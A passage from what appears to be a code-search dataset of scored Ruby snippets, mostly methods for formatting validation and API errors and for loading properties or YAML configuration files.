opensdg_notice(message)\n end\n end\n else\n message = 'Validation error of type: ' + error['type']\n if error['schema'] && error['schema'].has_key?('title')\n message += ' (' + error['schema']['title'] + ')'\n end\n opensdg_notice(message)\n if error['schema']\n opensdg_notice('Expected schema:')\n puts error['schema'].inspect\n end\n if error['data']\n opensdg_notice('Actual data:')\n puts error['data'].inspect\n end\n end\nend", "title": "" }, { "docid": "8c5ca4aead6796cbddf778a9ef4b5d94", "score": "0.5944034", "text": "def build_error_object(obj)\n obj_errors = []\n obj.errors.messages.each do |k, v|\n obj_errors << \"#{k} #{v.join}\"\n end\n { success: false, errors: obj_errors }.to_json\n end", "title": "" }, { "docid": "7582309ea0c71918f369a36f9db98dfa", "score": "0.5925958", "text": "def errors\n meta.fetch('errors', nil) || json_schema_errors\n end", "title": "" }, { "docid": "67e409ca5523c0c30b85b943861d6d74", "score": "0.5904279", "text": "def error\n if error_hash\n Puppet::DataTypes::Error.from_asserted_hash(error_hash)\n\n end\n end", "title": "" }, { "docid": "cf68ca8766408713c684554a81cf6523", "score": "0.5902898", "text": "def split_hash_errors(hash)\n message = []\n hash.each { |k, v| message << \"#{k}: #{v}\" }\n @errors << message.flatten.join(' with ')\n end", "title": "" }, { "docid": "03a28d31a1a39a9600820fd0e6fad170", "score": "0.5896395", "text": "def error\n { \n error: { \n message: self.object[:message],\n full_message: \"#{self.object[:field]} #{self.object[:message]} \",\n field: self.object[:field]\n } \n }\n end", "title": "" }, { "docid": "ed2cd82a402100622f863c2da4c2539f", "score": "0.588706", "text": "def validation_errors\n if Gem.loaded_specs.has_key?(\"json-schema\")\n require 'json-schema'\n JSON::Validator.fully_validate(@@schema, @hash)\n end\n end", "title": "" }, { "docid": "5f885b5e75e64d395b6b539f464eb919", "score": "0.5882468", "text": "def errors_as_string\n return if valid?\n\n @errors_as_string ||= begin\n error_msg = +\"\\t\"\n error_msg << errors.map { |key, val| \"#{key}: :#{val}\" }.join(\"\\n\\t\")\n error_msg\n end\n end", "title": "" }, { "docid": "76fa8fa2fcb5dff51693778870a8712b", "score": "0.58783203", "text": "def errors\n hash = JSON.parse(get_appsignal_data)\n result = analyse_hash(hash)\n end", "title": "" }, { "docid": "181296a87b880d6f921bd15410e009ea", "score": "0.58586305", "text": "def json_resource_errors\n {:errors => resource.errors.full_messages}\n end", "title": "" }, { "docid": "f3a4a4ec05637abb001940c2ec021309", "score": "0.58322674", "text": "def errors\n Hash.new([])\n end", "title": "" }, { "docid": "35c8bd5441277e65fb3b4b73798a41c9", "score": "0.5822498", "text": "def error\n return {error: \"\"}\n end", "title": "" }, { "docid": "35c8bd5441277e65fb3b4b73798a41c9", "score": "0.5822498", "text": "def error\n return {error: \"\"}\n end", "title": "" }, { "docid": "9201014bc9fc516f45905e134e3799a6", "score": "0.5821918", "text": "def schema_errors(doc)\n { error: JSON::Validator.fully_validate(schema, doc, fragment: \"#/definitions/layer\") }\n end", "title": "" }, { "docid": "33ead4be882cbec4544397d650d4722e", "score": "0.58117825", "text": "def error\n if error_hash\n Puppet::DataTypes::Error.from_asserted_hash(error_hash)\n end\n end", "title": "" }, { "docid": "b2ba919c727e4f85656a536bed2540d1", "score": "0.57875496", "text": "def customize_deserialization_error(e)\n nil\n end", "title": "" }, { "docid": "b89212a8c70e6ff08f37a6ada098d859", "score": "0.57831997", "text": "def format_error_data\n return nil if error_data.blank? && params_error_identifiers.blank?\n\n new_error_data = []\n if params_error_identifiers.present?\n params_error_identifiers.each do |ed|\n ec = fetch_api_params_error_config(ed)\n if ec.present?\n new_error_data << {parameter: ec[\"parameter\"], msg: ec[\"msg\"]}\n else\n ApplicationMailer.notify(\n to: GlobalConstant::Email.default_to,\n body: \"Missing params identifier\",\n data: {missing_identifier: ed},\n subject: \"Warning::Missing params identifier. please add the error details\"\n ).deliver\n parameter_key = ed.match(\"missing_(.*)\")\n new_error_data << {parameter: parameter_key[1], msg: \"#{parameter_key[1]} is missing\"} if parameter_key.present?\n end\n end\n end\n if error_data.present?\n error_data.each do |k, v|\n new_error_data << {parameter: k, msg: v}\n end\n end\n\n new_error_data\n end", "title": "" }, { "docid": "504bde2daea1e735e917817f3965b60f", "score": "0.5774521", "text": "def serialize_invalid_attributes(errors)\n options = errors.messages.each_with_object([]) do |(attribute, messages), array|\n messages.each do |message|\n source = { pointer: \"data/attributes/#{attribute.to_s.camelize(:lower)}\" }\n array.push(source: source, detail: message)\n end\n end\n\n serialize_errors(options)\n end", "title": "" }, { "docid": "3c10cdb8fcaf22f4bec40898890bcaff", "score": "0.57745147", "text": "def parse_errors(resource_id) # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n stats = body_json['stats']\n validation_errors = stats['invalid'][resource_id]\n other_errors = stats['errors'][resource_id]\n errors = []\n\n [*validation_errors, *other_errors].each do |str|\n str = str.strip.gsub('(', '').gsub(')', '').gsub(\"'\", '')\n arr = str.split(',').each(&:strip!)\n\n if arr.length == 4\n h = { name: arr[0], status: arr[1], rule: arr[2], expected: arr[3] }\n # Workaround - \"alternative\" from Plastron should be \"alternate_title\"\n h[:name] = 'alternate_title' if h[:name] == 'alternative'\n else\n h = { error: str }\n end\n errors.append(h)\n end\n errors\n end", "title": "" }, { "docid": "37e3b80000002e7092158b0f5a35986d", "score": "0.57727724", "text": "def format_api_error\n { @field => @code }\n end", "title": "" }, { "docid": "ccdfeca39decbf101cbb9adc0f620006", "score": "0.5754376", "text": "def backout_error\n\t\terrs = errors.instance_variable_get(:@errors)\n\t\tbacked_out = []\n\t\tremove_keys = []\n\t\terrs.each do |key, value|\n\t\t removes = []\n\t\t if value.is_a? Array\n\t\t removes = value.select{|error| yield(error.base, error)}\n\t\t removes.each{|error|value.delete(error)}\n\t\t remove_keys << key if errs[key].length == 0\n\t\t backed_out << removes\n\t\t elsif yield(error.base, error)\n \t\t remove_keys << key \n \t\t backed_out << error\n\t\t end\n\t\tend\n\t\tremove_keys.each{|key| errs.delete(key)}\n\t\tbacked_out.flatten\n\tend", "title": "" }, { "docid": "787840d6611e8f9bfee55b950cce3c6f", "score": "0.57445806", "text": "def errors\n {}\n end", "title": "" }, { "docid": "cfdf6f2d456cf845230a239c38d61b11", "score": "0.57425195", "text": "def format_dv_errors(model)\n errors = []\n model.errors.each_pair do |key, value|\n errors.push({ key => value })\n end\n return errors\n end", "title": "" }, { "docid": "cfdf6f2d456cf845230a239c38d61b11", "score": "0.57425195", "text": "def format_dv_errors(model)\n errors = []\n model.errors.each_pair do |key, value|\n errors.push({ key => value })\n end\n return errors\n end", "title": "" }, { "docid": "271753f21ae193c0332efdf0afdd88c8", "score": "0.5738706", "text": "def hash\n super +\n @on_error.hash\n end", "title": "" }, { "docid": "fa17e8fc1c29e8dc547a3d70f876897b", "score": "0.57280385", "text": "def parse_errors(errors)\n return unless errors\n return errors.map { |e| parse_errors(e) } if errors.is_a?(Array)\n\n Hashie::Mash.new(errors)\n end", "title": "" }, { "docid": "9e1895cfdf8d817f0cb438d9409b1a01", "score": "0.5714873", "text": "def output_invalid_with_structure_encodings\n bad_values = []\n STRUCTURE_ENCODING_JSON_PATH.on(dro.description.to_json).each do |date|\n date['structuredValue'].each do |structured_value|\n bad_values << structured_value['value'] unless valid_edtf?(structured_value['value'])\n end\n end\n return if bad_values.blank?\n\n first_columns = \"#{dro.external_identifier},#{catkey},#{collection_id}\"\n puts \"#{first_columns},#{bad_values.join(';')},entire date edtf - invalid value\\n\"\n end", "title": "" }, { "docid": "1c38ec3d16cce1767fe3e0791b401df1", "score": "0.5702177", "text": "def to_h\n grouped = group_errors.group_by { |g| g.source_location.to_s }\n\n grouped.each_with_object({}) do |(_, items), memo|\n items.each do |item|\n key = item.location_summary(with_type: items.count > 1)\n memo[key] = (memo[key] || []) + item.errors.map(&:to_s)\n end\n end\n end", "title": "" }, { "docid": "8b5a0e20df60a655d7da29df2a42d99f", "score": "0.5698618", "text": "def errors(errors)\n { errors: Array.wrap(errors).map { |e| { title: e } } }\n end", "title": "" }, { "docid": "b277a5e8f8506d5f22b08d2d13bd3b0d", "score": "0.5698593", "text": "def errors_to_string(errors)\n str = \"\"\n errors.each { |k,v| str += \"#{k.to_s.gsub(/[\\.\\_\\-]/i,' ')}: #{v}\" }\n flash[:error] = str\n end", "title": "" }, { "docid": "cc49df5d9e304f79612691008cca5fbf", "score": "0.5692307", "text": "def format_error(err) Ripl::Runner.format_error(err) end", "title": "" }, { "docid": "6fb33cf03ea3abb15a07ce15af63dfab", "score": "0.56847334", "text": "def message\n JSON.generate(error_hash)\n end", "title": "" }, { "docid": "b7087672a69c1ac2e382186297c8c15f", "score": "0.5683111", "text": "def error_message\n msg = body['message']\n return self.raw.to_yaml if msg.blank? || msg =~ /system error/i || msg =~ /ServerError/\n return msg\n rescue\n self.raw.to_yaml\n end", "title": "" }, { "docid": "9141c36ab4012a890493013f67010be4", "score": "0.56722325", "text": "def errors\n # JSON API errors\n if self.error? && self.json_api? && self.parsed_body.has_key?('errors')\n response_errors = self.parsed_body['errors']\n translated_errors = {}\n\n response_errors.each do |error|\n key = error['source']['pointer'].sub('/data/attributes/', '')\n\n if translated_errors.has_key?(key)\n translated_errors[key] << error['detail']\n else\n translated_errors[key] = [ error['detail'] ]\n end\n end\n\n translated_errors\n # Plain old JSON error\n elsif self.error? && self.json? && self.parsed_body.has_key?('error')\n [{ 'detail' => self.parsed_body['error'] }]\n # No errors\n else\n []\n end\n end", "title": "" }, { "docid": "b8d21ab2ddb4d1ed9982b5ec65e62537", "score": "0.56709427", "text": "def to_json\n { 'display' => 'error', 'error' => { 'message' => @message, 'code' => @code } }.to_json\n end", "title": "" }, { "docid": "f9e4550f9f789d1c49a94b8c5a56ee4a", "score": "0.56559515", "text": "def truncate_exception_messages(payload); end", "title": "" }, { "docid": "8af69d3fd340310a8ca5c0812c8c4422", "score": "0.5652521", "text": "def render_json_validation_errors(resource)\n errors = []\n resource.errors.each do |fieldName, value|\n single_body = {\n :message => value,\n :fieldName => fieldName\n }\n errors.push(single_body)\n end\n render json: {\n status: \"error\",\n error: {\n status: \"error\",\n name: \"Unprocessable Entity\",\n data: errors\n }\n }, status: 422\n end", "title": "" }, { "docid": "e4d39b8ea0b427776f4454086a4379f1", "score": "0.5648886", "text": "def json_render_errors(errors)\n json_fail errors: errors\n end", "title": "" }, { "docid": "a2c7e40deba584428849c88f15f4f429", "score": "0.56483454", "text": "def response_errors(record)\n errors = []\n record.errors.messages.each do |key,value|\n if key == :base\n key = \"\"\n else\n key = key.to_s.humanize\n end\n errors << \"#{key} #{value.join(', ')}\"\n end\n errors\n end", "title": "" }, { "docid": "1ae8c336b86867f570b8ed3b9caa8042", "score": "0.56456614", "text": "def as_json(_options = {})\n {:error => to_hash}\n end", "title": "" }, { "docid": "1ae8c336b86867f570b8ed3b9caa8042", "score": "0.56456614", "text": "def as_json(_options = {})\n {:error => to_hash}\n end", "title": "" }, { "docid": "b43cc33b531e02175d731e069a9fd836", "score": "0.5643552", "text": "def format_model_validation_errors(resource)\n resource.errors&.messages&.each_with_object([]) do |(attribute, errors), messages|\n next unless VALIDATION.key?(attribute) || attribute == :base\n\n # NOTE: If the value is a date, the typecast value may not correspond to original user input, so get value_before_type_cast\n unless attribute == :base\n value = VALIDATION.dig(attribute, :checks)&.include?(:date) ? resource.public_send(\"#{attribute}_before_type_cast\") : resource[attribute]\n msg_header = (value ? \"Value '#{value}' for \" : '') + \"'#{VALIDATION[attribute][:label]}'\"\n end\n errors.each do |error_message|\n # Exclude the actual value in logging to avoid PII/PHI\n Rails.logger.info \"Validation Error on: #{attribute}\"\n messages << \"#{msg_header} #{error_message}\".strip\n end\n end\n end", "title": "" }, { "docid": "90c9649e6b08ce41778c998bab020a85", "score": "0.5635814", "text": "def _reduce_422(val, _values, result)\n result = new_str val[0]\n \n result\nend", "title": "" }, { "docid": "edc0741cd3148bf35a1212232af727df", "score": "0.56355506", "text": "def errors\n @errors ||= Hash.new { |hash, key| hash[key] = [] }\n end", "title": "" }, { "docid": "edc0741cd3148bf35a1212232af727df", "score": "0.56355506", "text": "def errors\n @errors ||= Hash.new { |hash, key| hash[key] = [] }\n end", "title": "" }, { "docid": "d3c441125ed03f0ac8a034722fb7530f", "score": "0.56321585", "text": "def error_instance_metadata(instance)\n errors = []\n instance.errors.to_hash.each do |k,v|\n errors << {\n field: k.to_s,\n description: v\n }\n end\n {\n message: instance.errors.full_messages.join(\", \"),\n messages: instance.errors.full_messages,\n errors: errors\n }\n end", "title": "" }, { "docid": "42b3b79ff853fce0b3f734922d1de9d5", "score": "0.5631222", "text": "def errors\n result = []\n result.push(:title) unless valid_string? @title\n result.push(:author) unless valid_string? @author\n result.push(:release_date) unless valid_date? @release_date\n result.push(:publisher) unless valid_string? @publisher\n result.push(:isbn) unless valid_integer? @isbn\n result\n end", "title": "" }, { "docid": "aea9cf5e23fbb85fa20a3b3b9edb6b17", "score": "0.56306934", "text": "def parse_error(body)\n args = {}\n args[:original_error] = body.to_s\n args[:server_backtrace] = body.text_at('backtrace')\n args[:message] ||= body.text_at('message')\n args[:driver] = body.attr_at('backend', 'driver')\n args[:provider] = body.attr_at('backend', 'provider')\n args\n end", "title": "" }, { "docid": "aea9cf5e23fbb85fa20a3b3b9edb6b17", "score": "0.56306934", "text": "def parse_error(body)\n args = {}\n args[:original_error] = body.to_s\n args[:server_backtrace] = body.text_at('backtrace')\n args[:message] ||= body.text_at('message')\n args[:driver] = body.attr_at('backend', 'driver')\n args[:provider] = body.attr_at('backend', 'provider')\n args\n end", "title": "" }, { "docid": "eac83f4147dd2aaef6f9108254140b99", "score": "0.5629674", "text": "def wrap_error(message)\n { error: message }\nend", "title": "" }, { "docid": "eac83f4147dd2aaef6f9108254140b99", "score": "0.5629674", "text": "def wrap_error(message)\n { error: message }\nend", "title": "" }, { "docid": "c3587b66661b4ee56950d3c8d134edbb", "score": "0.56253546", "text": "def parse_errors(error_hash)\n errors = error_hash.collect{|k, v|\n [ v.collect{|i| [k, i]} ]\n }.flatten(2)\n errors.collect{|e| yield e}\n end", "title": "" }, { "docid": "ec64fadfe0c8b3e10a96b8c56c491ad3", "score": "0.5600257", "text": "def as_json(options = {})\n super(:methods => [\"errors\"])\n end", "title": "" }, { "docid": "c1743c80347ab1754916dec5f39d36cc", "score": "0.5598344", "text": "def failed_json\n { success: false, errors: errors.grouped_by_attribute }\n end", "title": "" }, { "docid": "f655b89923b86eff6d18bb298e888afc", "score": "0.5590015", "text": "def package_errors(errors)\n if errors.is_a? Array and errors.count{|e| e.is_a? String} === errors.length\n # I am AR bound\n errors = ARFormattedError.new(errors)\n end\n @output = @resource_request.package(errors)\n @output\n end", "title": "" }, { "docid": "bcd78af24c8b2efd4cdd1a3cdccec2b8", "score": "0.5582823", "text": "def get_errors(model)\n if model.respond_to?(:errors) && model.errors.respond_to?(:full_messages_for)\n model.errors.keys.map do |field|\n {\n 'status' => '422',\n 'source' => { 'pointer' => \"/data/attributes/#{field}\" },\n 'title' => 'Invalid Attribute',\n 'detail' => model.errors.full_messages_for(field).first\n }\n end\n end\n end", "title": "" }, { "docid": "77c57e10587272ec15db628b00bdc98c", "score": "0.55814135", "text": "def to_json(*args)\n {:errors => @messages}.to_json\n end", "title": "" }, { "docid": "25ae3ecdf371734af9f620b6e661d0d0", "score": "0.55770814", "text": "def error\n { \n error: { \n message: self.object[:message]\n } \n }\n end", "title": "" }, { "docid": "890b2f917f5129a35b4922bf1b894c4f", "score": "0.5565589", "text": "def error_h(result)\n h = result_h(result, 'error')\n h[:message] = result.failure.message\n h[:location] = location(result.failure)\n h[:backtrace] = filter_backtrace(result.failure.backtrace)\n h\n end", "title": "" }, { "docid": "b9518ece44e2235a73253bcf1da1d330", "score": "0.55638725", "text": "def output_json_error_message(err_obj)\n err_msg = { \"error\" => { \"klass\" => err_obj.class.to_s, \"message\" => err_obj.message, \"backtrace\" => err_obj.backtrace } }\n puts err_msg.to_json\n end", "title": "" }, { "docid": "a6fcc571ce0396e58604a5fc7fb1cbfc", "score": "0.5559875", "text": "def formatError(resp)\n output = \"\";\n\n output << resp.parsed_response['message'];\n if(resp.parsed_response['errors'] != nil)\n resp.parsed_response['errors'].each { |e| \n output << \"\\n\" + e['message'] if e['message'] != nil\n }\n end\n output\n end", "title": "" }, { "docid": "9768a8ab02fc2d6f3aa9e847a737d063", "score": "0.55550575", "text": "def format_warden_sign_in_errors\n {\n base: warden.errors[:base],\n email: warden.errors[:email],\n password: warden.errors[:password]\n }\n end", "title": "" }, { "docid": "ecbdb0ef67a6aa4a47d25668d7a97cfd", "score": "0.5554579", "text": "def sanitise_hash_for_line_graph(hash)\n new_hash = {}\n hash.map { |k, v|\n n = k[0] == 200 ? 'Successful' : 'Failed'\n new_hash[[n, k[1]]] = v\n }\n new_hash\n end", "title": "" }, { "docid": "5c29d3f5864f0c851391e385c0bafcf0", "score": "0.55413544", "text": "def _reduce_422(val, _values, result)\n result = new_dsym val[1]\n \n result\nend", "title": "" } ]
06d308ce6495b6006b0266c334ca7e06
Takes a file and loads the properties in that file
[ { "docid": "44be160bea015b798b5a9a8deb67b965", "score": "0.7158013", "text": "def initialize file\n EasyTranslate.api_key = 'AIzaSyDrbD0AfKHiMZTYoite-ec4byLNlPxoX8k'\n @file = file\n @properties = []\n \n File.open(file, \"r:UTF-8\").each do |line| \n @properties << line \n end\n end", "title": "" } ]
[ { "docid": "55dfb72ff535bc74b22279e3924fe833", "score": "0.74696195", "text": "def load_properties(properties_filename)\n properties = {}\n File.open(properties_filename, 'r') do |properties_file|\n properties_file.read.each_line do |line|\n line.strip!\n if (line[0] != ?# and line[0] != ?=)\n Chef::Log.info \"line : #{line}\"\n i = line.index('=')\n if (i)\n properties[line[0..i - 1].strip] = line[i + 1..-1].strip\n end\n end\n end\n end\n return properties\n end", "title": "" }, { "docid": "e72ff781a38048bd9b546feda4e974a4", "score": "0.7174317", "text": "def load_properties(properties_filename)\n properties = {}\n File.open(properties_filename, 'r') do |properties_file|\n properties_file.read.each_line do |line|\n line.strip!\n if (line[0] != ?# and line[0] != ?=)\n i = line.index('=')\n if (i)\n properties[line[0..i - 1].strip] = line[i + 1..-1].strip\n else\n properties[line] = ''\n end\n end\n end\n end\n return properties\n end", "title": "" }, { "docid": "4702c7c987c69691789a0802f3d7d08a", "score": "0.7119959", "text": "def properties\n @properties ||= load_files\n end", "title": "" }, { "docid": "d9fad676ae1b20630edc765450b7b81d", "score": "0.70425785", "text": "def initialize(file)\n @file = file\n @properties = {}\n File.open(file).each_line do |line|\n @properties[Regexp.last_match(1).strip] = Regexp.last_match(2) if line =~ %r{([^=]*)=(.*)//(.*)} || line =~ /([^=]*)=(.*)/\n end\n end", "title": "" }, { "docid": "2cc8b923d335953db7e9168623d9df25", "score": "0.70245683", "text": "def initialize file\n EasyTranslate.api_key = 'AIzaSyDrbD0AfKHiMZTYoite-ec4byLNlPxoX8k'\n @file = file\n @properties = {}\n \n File.open(file, \"r:UTF-8\").each do |line| \n if line.include? \":\"\n splited_line = line.encode!('UTF-8').strip.split(':')\n @properties[splited_line[0]] = splited_line[1] \n end \n end\n end", "title": "" }, { "docid": "9e8173c18257d24dccadda763910d80f", "score": "0.6925434", "text": "def read_properties\n buf = ''\n File.open( properties_file, 'r' ) { |f| buf = f.read }\n h = JSON.parse(buf, {:symbolize_names => true})\n @name = h.delete(:name).to_s\n @created= h.delete(:created).to_s\n @description = h.delete(:description).to_s\n @repo_properties = h\n end", "title": "" }, { "docid": "af00deccf50487ad4074270f4481da34", "score": "0.68896997", "text": "def load_properties\n unless Properties.exist?(@propertiesFile)\n\tProperties.copy(@defaultPropertiesFile, @propertiesFile)\n @properties = Properties.new(\"Core configuration file\", \n \"1.0\", \n @bus[\"/system/properties\"], \n @propertiesFile)\n @properties[\"version/major\"] = FreeBASE::VERSION_MAJOR\n @properties[\"version/minor\"] = FreeBASE::VERSION_MINOR\n @properties[\"version/release\"] = FreeBASE::VERSION_RELEASE\n else\n @properties = Properties.new(\"Core configuration file\", \n \"1.0\", \n @bus[\"/system/properties\"], \n @propertiesFile)\n end\n end", "title": "" }, { "docid": "2a128bbf4b3fe9bf5f4e1ec3108f79ea", "score": "0.6869388", "text": "def initialize(file)\n @file = file\n @properties = {}\n IO.foreach(file) do |line|\n # skip the commented lines\n next if line =~ /^\\s*?#/\n @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n end\n end", "title": "" }, { "docid": "bfb022fff74a8e168ba0776852f61063", "score": "0.68276376", "text": "def load_file(file); end", "title": "" }, { "docid": "a6370de1c2f126dfa1848ec758ace0e4", "score": "0.6787021", "text": "def read_prop_file(prop_file)\n props = {}\n File.open(prop_file, 'r') do |f|\n f.each_line do |line|\n props[$1] = $2 if line =~ /^export (.*)=(.*)$/\n end\n end if File.exists?(prop_file)\n props\nend", "title": "" }, { "docid": "763d40284b776f8f1e81a7b3fe8e0843", "score": "0.6736639", "text": "def load_from_file filename\n fnm = File.exist?(filename) ? filename : File.join(@wd,filename)\n load_configuration(fnm)\n end", "title": "" }, { "docid": "49af48f4524d193f1d1de547879cd1c4", "score": "0.670938", "text": "def load(filepath)\n @proxies = YAML.load(File.read(filepath))\n end", "title": "" }, { "docid": "c7030607a7ccbcc79148d25871eb32ae", "score": "0.6686991", "text": "def load(file = nil)\n @file = file if file\n @cfg = YAML.load_file(@file)\n end", "title": "" }, { "docid": "c1eeae70bb7bd35af5496f21ac828023", "score": "0.6632225", "text": "def load_properties\n # the properties file\n file = default_properties_file\n # the access properties\n props = file && File.exists?(file) ? load_properties_file(file) : {}\n # Load the Java application jar path.\n path = props[:classpath] || props[:path] || infer_classpath\n Java.expand_to_class_path(path) if path\n # Get the application login properties from the remoteService.xml, if necessary.\n unless props.has_key?(:host) or props.has_key?(:port) then\n url = remote_service_url\n if url then\n host, port = url.split(':')\n props[:host] = host\n props[:port] = port\n end\n end\n unless props.has_key?(:database) then\n props.merge(infer_database_properties)\n end\n props\n end", "title": "" }, { "docid": "9058d5a04f9373378652278e10f5ee11", "score": "0.6617322", "text": "def initialize(filename, read_properties=true)\n end", "title": "" }, { "docid": "9058d5a04f9373378652278e10f5ee11", "score": "0.6617322", "text": "def initialize(filename, read_properties=true)\n end", "title": "" }, { "docid": "117e0ec77859bfa704164fdc647811bf", "score": "0.6609608", "text": "def properties_file\n File.join(@base_path, PROP_FILE)\n end", "title": "" }, { "docid": "51c54158aee3dc92ec224701bec1b3f0", "score": "0.6599762", "text": "def readProperties\n @propertiesFile = \"#{File.expand_path(File.dirname($0))}/../../conf/ddbt.properties\"\n @properties = {}\n IO.foreach(@propertiesFile) do |line|\n @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n end\nend", "title": "" }, { "docid": "bc082d36a79688d3c46182040d7c55ed", "score": "0.6575841", "text": "def load_properties( params )\n opt = @options.merge( params )\n loader = @loader_klass.new( opt )\n loader.properties\n end", "title": "" }, { "docid": "1ffc7fe74ded0d2b0120432f5615e6fd", "score": "0.6575123", "text": "def load_file(file)\n File.open(file, \"r\") { |f| load(f) }\n end", "title": "" }, { "docid": "fa59d0930deb59c18b5cb70bea9c58bd", "score": "0.6553132", "text": "def load_file(filename); end", "title": "" }, { "docid": "fa59d0930deb59c18b5cb70bea9c58bd", "score": "0.6553132", "text": "def load_file(filename); end", "title": "" }, { "docid": "6df11fef16bb9f0eaabd93680e480d13", "score": "0.65406543", "text": "def convert_to_property\n json = JSON.load_file(@file_path, symbolize_names: true)\n properties = []\n json.each {|prop| \n new_property = Property.new(prop[:type], prop[:weekly_rent], prop[:landlord], prop[:tenant], prop[:address], prop[:status])\n properties.push(new_property)\n }\n return properties\n end", "title": "" }, { "docid": "d7b96541b00e753eea5e97c9f9b14292", "score": "0.6504384", "text": "def load(file); end", "title": "" }, { "docid": "5062f3ebac7546139accfd2d8b88b411", "score": "0.6478112", "text": "def load(fn)\n if File.file?(fn)\n begin\n File.open(fn).each do |line|\n #peel off terminators/leading spaces, etc.\n line.strip!\n\n #ignore comment lines...\n if (line[0..0]!=\"#\")\n keyval = line.split(\"=\") # split on equal sign\n\n #ignore blank lines\n if keyval.size>0\n key = keyval[0].strip\n value = keyval[1].strip\n self[key] = value\n end\n end\n end\n rescue\n raise \"Error: trouble loading data from file: #{fn}.\\nDetails: #{$!}\"\n end\n else\n raise \"Error: cannot find configuration file: #{fn}.\\nDetails: File not found.\"\n end\n end", "title": "" }, { "docid": "b58a327e6a0813607d2f54a35cbb8741", "score": "0.64776605", "text": "def load_file(filename='~/grapevine.yml')\n filename = File.expand_path(filename)\n hash = YAML.load(File.open(filename))\n load(hash)\n end", "title": "" }, { "docid": "2a39de429aab0bc9b41b5077ef10e474", "score": "0.6476824", "text": "def read_config_file(file); end", "title": "" }, { "docid": "088a358acbbb7662d4724d4fe03b4694", "score": "0.64737105", "text": "def load config_file\n YAML.load_file(config_file).each do |parameter,value|\n instance_variable_set( \"@#{parameter}\", value )\n end\n end", "title": "" }, { "docid": "d5e91d8dc8e95a0941a66ec999f9d7ba", "score": "0.6463722", "text": "def initialize file\n @file = file\n @properties = {}\n# IO.foreach(file) do |line|\n# @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n# @properties[$1.strip] = $2 if line =~ /([^=]*)=(.*)\\/\\/(.*)/ || line =~ /([^=]*)=(.*)/\n# end\nFile.open(file, 'r') do |properties_file|\n properties_file.read.each_line do |line|\n line.strip!\n if (line[0] != ?# and line[0] != ?=)\n i = line.index('=')\n if (i)\n @properties[line[0..i - 1].strip] = line[i + 1..-1].strip\n else\n @properties[line] = ''\n end\n end\n end\n end\nend", "title": "" }, { "docid": "12b68f3fb16f7b5ec379c238f80420ba", "score": "0.64599293", "text": "def load_from_file(path)\n YAML.load_file(path).each { |n,v| instance_variable_set(n, v) }\n end", "title": "" }, { "docid": "d546ca8732aebe4d8074083905a50413", "score": "0.64153767", "text": "def fromFile( filename ) \n lines = IO.readlines( filename )\n loadAll( lines )\n end", "title": "" }, { "docid": "be276e85ca19c0f1849eac767bbe1a07", "score": "0.6401667", "text": "def load(file_path); end", "title": "" }, { "docid": "be276e85ca19c0f1849eac767bbe1a07", "score": "0.6401667", "text": "def load(file_path); end", "title": "" }, { "docid": "d95347e3e6d7025431961e9226cdf87f", "score": "0.6392239", "text": "def load_from_file!(file_path)\n raise IOError, \"File #{file_path} not exist\" unless File.exist?(file_path)\n raw_data = IO.read(file_path)\n load_from_json!(raw_data)\n end", "title": "" }, { "docid": "0730a2396342195e3ab8a51fa7e71c6e", "score": "0.63465106", "text": "def load_from_file(filename)\n load_from_string(File.read(filename))\n end", "title": "" }, { "docid": "9d4e33374c3cced213972b4d4b587509", "score": "0.63199157", "text": "def load_file!(file)\n if File.file?(file)\n yaml = %w{.yaml .yml}.include?(File.extname(file))\n text = File.read(file)\n if yaml or /\\A---/ =~ text\n #text = ERB.new(text).result(Object.new.instance_eval{binding})\n data = YAML.load(text)\n data.each do |k,v|\n __send__(\"#{k}=\", v)\n end\n else\n # TODO: Should we really do this here?\n instance_eval(text, file, 0)\n end\n end\n end", "title": "" }, { "docid": "b1bde4318381c81dd438f9f70dee34c0", "score": "0.63126934", "text": "def load(file)\n File.open(path(file)).read\n end", "title": "" }, { "docid": "3a6b6dbbf518c6263e0bf7e8c43ab171", "score": "0.6303887", "text": "def load_config(file)\n @config = YAML.load_file(file)\n end", "title": "" }, { "docid": "0ab0a888f05bb228df659fbc848951e1", "score": "0.6282971", "text": "def load(file)\r\n if file == String # does this work?\r\n @path = file\r\n end\r\n\r\n @reader = Reader.new(file)\r\n load_section self, @reader\r\n @reader.close\r\n end", "title": "" }, { "docid": "8a3e74227a7662a9ff74bcf71aab948b", "score": "0.62829345", "text": "def load_config_file\n raise \"No config file set\" if config_file.nil?\n raise \"File #{config_file} does not exist\" unless File.file?(config_file)\n @config = YAML.load_file(config_file)\n @config_file_loaded = true\n @config.each { |k, v| send(\"#{k}=\", v) }\n end", "title": "" }, { "docid": "5cd09f1a7516ffb5c44e63df8146a3b9", "score": "0.6262304", "text": "def load(file)\n file.chomp!(\"\\n\")\n component_strings = split_to_strings(file, ';')\n for component_string in component_strings\n load_component(component_string)\n end\n end", "title": "" }, { "docid": "d524353fb2c913c77afd7f6bc4ff4475", "score": "0.6251266", "text": "def load!( file )\n Yell.new Yell::Configuration.load!(file)\n end", "title": "" }, { "docid": "be12bfc92aec704ac38f1a5bccf68fb6", "score": "0.6248658", "text": "def load_file(path)\n @configuration_data = YAML.load_file(path)[CONFIGURATION_KEY]\n end", "title": "" }, { "docid": "1ccdc83c4551d90e629124ce6275dce1", "score": "0.62480676", "text": "def load(filename)\n\t\t\traise ArgumentError.new unless filename\n\n\t\t\toptions = YAML::load(IO.read(filename))\n\t\t\tif(options)\n\t\t\t\tself.configure(options)\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "da40ca4dbdad2a350ae7170b44b48606", "score": "0.6246534", "text": "def load_file(file_path = nil)\n file_path ||= File.expand_path(\"./config.yml\") if File.exists?(\"./config.yml\")\n file_path ||= DEFAULT_CONFIG_PATH\n\n reset\n\n YAML.load_file(file_path).tap do |config|\n @artist = Coerce.string(config[\"artist\"])\n @copyright = Coerce.string(config[\"copyright\"])\n\n (config[\"cameras\"] || []).each do |camera|\n @cameras << Camera.new(camera)\n end\n end\n end", "title": "" }, { "docid": "1f077d9c2228ececa2c3776c985da38c", "score": "0.62453073", "text": "def load\r\n return unless File.exist?(STORAGE)\r\n\r\n props = YAML.load(File.read(STORAGE))\r\n props.each{|k, v| instance_variable_set(\"@#{k}\", v) 